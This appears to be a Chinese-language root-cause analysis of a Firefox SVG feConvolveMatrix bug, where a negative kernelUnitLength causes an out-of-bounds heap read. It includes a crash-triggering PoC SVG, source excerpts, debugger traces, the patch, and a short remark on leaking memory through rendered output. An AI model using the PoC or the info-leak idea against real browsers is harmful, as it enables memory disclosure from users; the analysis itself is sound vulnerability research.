基本信息
SVG相关漏洞
发现者:ifratric (Project Zero)
PoC
1 2 3 <svg filter ="url(#f)" > <filter id ="f" filterRes ="19" filterUnits ="userSpaceOnUse" > <feConvolveMatrix kernelMatrix ="1 1 1 1 1 1 1 1 1" kernelUnitLength ="1 -1" />
feConvolveMatrix
是SVG的一个滤镜元素,设置滤镜的一些效果。filter
标签用来定义滤镜
图形元素对滤镜的引用,给图形添加滤镜
1 <image xlink:href ="xxx.jpg" width ="400" height ="500" filter ="url(#f)" />
出错的点在于feConvolveMatrix
元素中的kernelUnitLength
属性值的处理。kernelUnitLength
in W3C:
The first number is the value. The second number is the value. A negative or zero value is an error
默认设置为1 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Size nsSVGFE::GetKernelUnitLength(nsSVGFilterInstance* aInstance, nsSVGNumberPair *aKernelUnitLength) { if (!aKernelUnitLength->IsExplicitlySet()) { return Size(1 , 1 ); } float kernelX = aInstance->GetPrimitiveNumber(SVGContentUtils::X, aKernelUnitLength, nsSVGNumberPair::eFirst); float kernelY = aInstance->GetPrimitiveNumber(SVGContentUtils::Y, aKernelUnitLength, nsSVGNumberPair::eSecond); return Size(kernelX, kernelY); }
因为默认 kernelUnitLength
指定为正数,而Firefox缺少对kernelUnitLength
中的值检查,当传入负数(没有仔细去分析大小的计算,0或者也可以导致越界?)时,导致数组分配过小,从而在渲染时进行数组操作时所访问的位置大于数组分配的大小,从而导致越界读。
patch
补丁其实就是直接加了一个判断,过滤掉非正数的传入。
GetPrimitiveDescription 从Patch入手,在输入一个样本后, 首先是从DOM树的构建过程,将需要获取元素所可能的属性以及属性值,并进行存储。这里对应的滤镜元素feConvolveMatrix
,而它的处理接口为SVGFEConvolveMatrixElement.cpp
,因此对应如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 FilterPrimitiveDescription SVGFEConvolveMatrixElement::GetPrimitiveDescription(nsSVGFilterInstance* aInstance, const IntRect& aFilterSubregion, const nsTArray<bool >& aInputsAreTainted, nsTArray<RefPtr<SourceSurface>>& aInputImages) { ..... Size kernelUnitLength = GetKernelUnitLength(aInstance, &mNumberPairAttributes[KERNEL_UNIT_LENGTH]); if (kernelUnitLength.width <= 0 || kernelUnitLength.height <= 0 ) { return failureDescription; } FilterPrimitiveDescription descr (PrimitiveType::ConvolveMatrix) ; AttributeMap& atts = descr.Attributes(); atts.Set(eConvolveMatrixKernelSize, IntSize(orderX, orderY)); atts.Set(eConvolveMatrixKernelMatrix, &kernelMatrix[0 ], kmLength); atts.Set(eConvolveMatrixDivisor, divisor); atts.Set(eConvolveMatrixBias, bias); atts.Set(eConvolveMatrixTarget, IntPoint(targetX, targetY)); atts.Set(eConvolveMatrixEdgeMode, edgeMode); atts.Set(eConvolveMatrixKernelUnitLength, kernelUnitLength); atts.Set(eConvolveMatrixPreserveAlpha, preserveAlpha);
这里的属性则是
kernelUnitLength
,获取其值之后,并存储到
AttributeMap
中,对应属性和属性值对,而补丁处则对该值进行了一次正数判断。
调试进入后值的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 xul!mozilla::dom::SVGFEConvolveMatrixElement::GetPrimitiveDescription+0x209: 63c105f1 e8b5870100 call xul!nsSVGFE::GetKernelUnitLength (63c28dab) 0:000> p eax=002cc908 ebx=00000003 ecx=002cc89c edx=00000009 esi=0ed76d30 edi=14cb6a00 eip=63c105f6 esp=002cc8d0 ebp=002cc9b4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 xul!mozilla::dom::SVGFEConvolveMatrixElement::GetPrimitiveDescription+0x20e: 63c105f6 6a07 push 7 0:000> dd eax 002cc908 3f800000 bf800000 00000000 64e476d4 002cc918 c1f0001d 0000000c 00000000 00000000 002cc928 00000000 00000000 64ea41bc 00000000 002cc938 00000000 00000000 00000000 00000000 002cc948 00000000 00000000 00000000 64ea41bc 002cc958 00000000 002cc900 64ea41bc 00000000 002cc968 0fcb2ec0 6294dc7a 00000010 002cc9dc 002cc978 00000000 002cc9a0 00000008 62b60e5e
3f800000
=
1.0
,
bf800000
=
-1.0
存储之后,浏览器将继续处理,将进入渲染过程,而对于图像的处理将会进行卷积的计算,具体没查,这里可以网上搜索查看,也是图像处理的基础算法之一。 而这里的处理则是在ConvolvePixel
函数中体现。
ConvolvePixel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 template <typename CoordType>static void ConvolvePixel(const uint8_t *aSourceData, uint8_t *aTargetData, int32_t aWidth, int32_t aHeight, int32_t aSourceStride, int32_t aTargetStride, int32_t aX, int32_t aY, const int32_t *aKernel, int32_t aBias, int32_t shiftL, int32_t shiftR, bool aPreserveAlpha, int32_t aOrderX, int32_t aOrderY, int32_t aTargetX, int32_t aTargetY, CoordType aKernelUnitLengthX, CoordType aKernelUnitLengthY) { int32_t sum[4 ] = {0 , 0 , 0 , 0 }; int32_t offsets[4 ] = { B8G8R8A8_COMPONENT_BYTEOFFSET_R, B8G8R8A8_COMPONENT_BYTEOFFSET_G, B8G8R8A8_COMPONENT_BYTEOFFSET_B, B8G8R8A8_COMPONENT_BYTEOFFSET_A }; int32_t channels = aPreserveAlpha ? 3 : 4 ; int32_t roundingAddition = shiftL == 0 ? 0 : 1 << (shiftL - 1 ); for (int32_t y = 0 ; y < aOrderY; y++) { CoordType sampleY = aY + (y - aTargetY) * aKernelUnitLengthY; for (int32_t x = 0 ; x < aOrderX; x++) { CoordType sampleX = aX + (x - aTargetX) * aKernelUnitLengthX; for (int32_t i = 0 ; i < channels; i++) { sum[i] += aKernel[aOrderX * y + x] * ColorComponentAtPoint(aSourceData, aSourceStride, sampleX, sampleY, 4 , offsets[i]); } } } ...... } static inline uint8_t ColorComponentAtPoint(const uint8_t *aData, int32_t aStride, int32_t x, int32_t y, size_t bpp, ptrdiff_t c) { DebugOnlyCheckColorSamplingAccess(&aData[y * aStride + bpp * x + c]); return aData[y * aStride + bpp * x + c]; }
这里就是 aSourceData
的访问越界。 crash
1 2 3 4 5 eax=00027ffa ebx=00000004 ecx=00027b40 edx=000004b8 esi=00000000 edi=18e5e008 eip=634edb06 esp=0030cf98 ebp=00000004 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 xul!mozilla::gfx::ConvolvePixel<int>+0x130: 634edb06 0fb60438 movzx eax,byte ptr [eax+edi] ds:0023:18e86002=??
对应附近的汇编如下:
1 2 3 4 5 6 7 634edb02 03c1 add eax,ecx 634edb04 03c2 add eax,edx 634edb06 0fb60438 movzx eax,byte ptr [eax+edi] ds:0023:0d41a4d5=00 634edb0a 0faf442440 imul eax,dword ptr [esp+40h] 634edb0f 0144b444 add dword ptr [esp+esi*4+44h],eax 634edb13 46 inc esi 634edb14 3bf3 cmp esi,ebx
esp = 0030cf98
经过调试得知,和开始进去函数时的esp
偏移为0x68 因此对应值为:esp+0x68
1 2 3 4 5 6 7 8 9 0:000> dd 30d000 0030d000 634ef748 0000012e 0000012e 000004d0 0030d010 000004c0 0000012d 00000083 0ed071c0 0030d020 00000000 00000016 00000000 00000000 0030d030 00000003 00000003 00000001 00000001 0030d040 00000001 ffffffff 1652d5a0 1652d560 0030d050 0030d108 1652d560 00000000 00000016 0030d060 0ed07310 0ed07334 0ed07334 0ed071c0 0030d070 0ed05040 00000000 00000000 41500000
因此对
aSourceData
数组访问的时候,产生异常时索引值为:
(0x83 + (0-1) * (-1))*0x4d0 + ((0x12d + (2-1) * 1))*4 + 2 = 0x00027ffa
导致访问异常。
回到 ConvolvePixel
函数的调用 FilterNodeConvolveMatrixSoftware::DoRender
以及以上的分析,主要确定aSourceData
数组的来源和所分配的大小。
DoRender
1 2 3 4 5 6 7 8 .... for (int32_t y = 0 ; y < aRect.Height(); y++) { for (int32_t x = 0 ; x < aRect.Width(); x++) { ConvolvePixel(sourceData, targetData, aRect.Width(), aRect.Height(), sourceStride, targetStride, x, y, intKernel, bias, shiftL, shiftR, mPreserveAlpha, mKernelSize.width , mKernelSize.height , mTarget.x, mTarget.y, aKernelUnitLengthX, aKernelUnitLengthY);
首先是最后循环的一个卷积计算,传入的sourceData
则对应后面调用的 aSourceData
。
过滤掉一些细节,通过分析后得到 aSourceData
的创建过程
1 2 3 4 5 6 7 ...... RefPtr<DataSourceSurface> input = GetInputDataSourceSurface(IN_CONVOLVE_MATRIX_IN, srcRect, NEED_COLOR_CHANNELS, mEdgeMode, &mSourceRect); ...... DataSourceSurface::ScopedMap sourceMap (input, DataSourceSurface::READ) ; ...... uint8_t * sourceData = DataAtOffset(input, sourceMap.GetMappedSurface(), offset);
因此
sourceData
是通过
GetInputDataSourceSurface
来创建,大小的计算是依赖于输入的样本,具体计算流程比较复杂,我这里还没有完全理清楚,最终会调用
SourceSurfaceAlignedRawData::Init
来进行实际的内存分配。
gfx/2d/SourceSurfaceRawData.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 bool SourceSurfaceAlignedRawData::Init(const IntSize &aSize, SurfaceFormat aFormat, bool aClearMem, uint8_t aClearValue, int32_t aStride) { mFormat = aFormat; mStride = aStride ? aStride : GetAlignedStride<16 >(aSize.width , BytesPerPixel(aFormat)); size_t bufLen = BufferSizeFromStrideAndHeight(mStride, aSize.height ); if (bufLen > 0 ) { bool zeroMem = aClearMem && !aClearValue; static_assert (sizeof (decltype (mArray[0 ])) == 1 , "mArray.Realloc() takes an object count, so its objects must be 1-byte sized if we use bufLen" ); mArray.Realloc( bufLen, zeroMem); mSize = aSize; if (mArray && aClearMem && aClearValue) { memset (mArray, aClearValue, mStride * aSize.height ); } } else { mArray.Dealloc(); mSize.SizeTo(0 , 0 ); } return mArray != nullptr ; }
通过实际的调试确认到大小为
0x00026ac0
,而尝试访问的位置为
0x00027ffa
,因此导致越界读。
而这里的原因在于内存分配的过程中有 对非正数的考虑, 实际调试中,kernelUnitLength
的值影响内存的分配, (1, 1) 分配: 0x0002bf20 (1, -1) 分配: 0x00026ac0
为-1时,分配的空间偏小,但是仍能够访问到数组范围外的位置。
exp
1 2 3 sum[i] += aKernel[aOrderX * y + x] * ColorComponentAtPoint(aSourceData, aSourceStride, sampleX, sampleY, 4 , offsets[i]);
越界读入的值,最终会在
sum
中体现,卷积计算的结果最后也将反应到SVG图像中,当对整个处理计算过程熟悉的基础上,可以通过从绘制的SVG中获取到越界读取的数据信息。
debug help enum AttributeName { eBlendBlendmode = 0, eMorphologyRadii, eMorphologyOperator, eColorMatrixType, …. eConvolveMatrixKernelUnitLength, } 排序至24 值为24 或者是因为排序24link
内存分配
0x4b0 * 0x96 (1, 1)
0x4b0 * 0x84 (1, -1)
(10, -10) 0x500 * 0x500
Reference